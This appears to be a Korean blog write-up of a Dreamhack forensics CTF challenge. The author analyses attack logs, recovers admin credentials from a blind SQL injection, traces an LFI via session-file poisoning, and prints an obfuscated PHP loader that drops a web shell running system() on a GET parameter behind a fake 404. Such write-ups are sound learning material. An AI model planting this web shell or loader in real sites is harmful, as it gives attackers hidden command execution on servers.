주어진 코드와 로그를 분석해서 주어진 질문에 해당하는 답을 찾는거라고 한다.
문제 서버에 들어가니 퀴즈를 풀어야 한다.
로그 파일을 봤다.
일단 pw를 찾아야 하니까 password를 검색해봤다.
password를 내리다가 username과 password가 같이 등장하는 부분이 나왔다. 여기서 유의미한 정보를 얻을 수 있을 것 같다.
board.php에서 (username+0x3a+password)와 같은 방식으로 문자열을 맞추는 식으로 sql쿼리를 보낸다.
응답 패킷의 길이를 기준으로 쿼리가 참일 때 길이가 1192이고 거짓일 때 길이는 841인 것을 확인할 수 있다.
자 이제 1192를 다시 필터링해서 아스키 값들을 모았다.
97,100,109,105,110,58,84,104,49,115,95,49,115,95,65,100,109,49,110,95,80,64,83,83,44,103,117,101,115,116,58,103,117,101,115,116
이를 변환기에 돌리면 admin:Th1s_1s_Adm1n_P@SS, guest:guest 이 문자열이 나온다.
다음 문제로 넘어왔다.
config.php 검색하면서 내려가는데 계속 비슷한 형식이 뜨다가 마지막 부분에
GET/admin과 함께 조금 다른 형식이 보였다. 이 부분만 달라서 넣어봤는데 맞았다. 참고로 php://부터 넣어야 한다.
LFI(Local File Inclusion) 취약점
- 웹 애플리케이션에서 사용자 입력을 통해 파일을 포함시키는 기능이 있을 때 발생하는 보안 취약점
여기서부터는 어떻게 뭘 해야 될지 모르겠어서 다른 블로그 풀이를 보며 따라갔다.
LFI 취약점의 위험성 중 하나가 코드 실행이라 웹 쉘을 떠올렸다고 한다.
/admin/?page= 검색으로 확인을 하면
memo.php에 웹쉘을 삽입하여 memo= ~ 보낸 뒤 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 경로에 로그가 남는 것을 확인할 수 있다고 한다.
생성된 웹쉘은 방금 보았던 구문이다.
그런데 난독화로 인해 전혀 이해할 수 없었다.
?php function m($l, $T = 0) {
$K = date('Y-m-d');
$_ = strlen($l);
$__ = strlen($K);
for ($i = 0;$i < $_;$i++) {
for ($j = 0;$j < $__;$j++) {
if ($T) {
$l[$i] = $K[$j] ^ $l[$i];
} else {
$l[$i] = $l[$i] ^ $K[$j];
}
}
}
return $l;
}
echo m('bmha[tqp[gkjpajpw');
echo m('+rev+sss+lpih+qthke`w+miecaw*tlt');
echo m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?');
?>
이를 가독성 있게 정리하고 웹쉘 실행한 날짜인 20200602를 넣고 컴파일을 하면
file_put_contents/var/www/html/uploads/images.php<?php header("HTTP/1.1 404 Not Found");system($_GET["c"]);
이 값을 얻을 수 있다고 한다.
앞에서 웹쉘 경로를 찾았다. ~~images.php였기에 이를 검색했더니 하나가 나왔다.
따라서 whoami 넣으니 성공했다.
와 함께 플래그 값이 뜬다.
오.... 너무 어렵다....
'드림핵' 카테고리의 다른 글
Root-me XSS (0) | 2024.11.13 |
---|---|
드림핵_DOM XSS (0) | 2024.11.13 |
sql injection bypass WAF (0) | 2024.10.30 |
드림핵 error based sql injection (1) | 2024.10.02 |
드림핵 blind sql injection advanced (2) | 2024.10.02 |